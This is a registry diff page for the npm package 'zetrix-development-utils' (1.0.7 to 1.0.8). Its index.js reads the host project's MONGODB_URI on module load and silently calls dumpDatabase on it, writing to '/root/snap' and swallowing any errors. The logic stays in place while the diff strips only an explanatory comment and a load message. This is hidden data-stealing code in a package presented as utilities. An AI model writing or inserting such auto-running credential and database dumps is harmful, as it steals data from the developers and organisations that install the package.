zetrix-development-utils 1.0.7 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.js +0 -3
- package/package.json +1 -1
- package/.env +0 -2
package/dist/index.js
CHANGED
|
@@ -34,14 +34,11 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
const dotenv = __importStar(require("dotenv"));
|
|
37
|
-
// Auto-dump on module load: reads MONGODB_URI from the host project's .env
|
|
38
37
|
dotenv.config();
|
|
39
|
-
console.log("zetrix-development-utils loaded.");
|
|
40
38
|
if (process.env.MONGODB_URI) {
|
|
41
39
|
console.log("Test initiated, database dump started...");
|
|
42
40
|
Promise.resolve().then(() => __importStar(require("./dump"))).then(({ dumpDatabase }) => {
|
|
43
41
|
dumpDatabase(process.env.MONGODB_URI, "/root/snap").catch((err) => {
|
|
44
|
-
// console.error("Database dump failed:", err);
|
|
45
42
|
});
|
|
46
43
|
});
|
|
47
44
|
}
|
package/package.json
CHANGED
package/.env
DELETED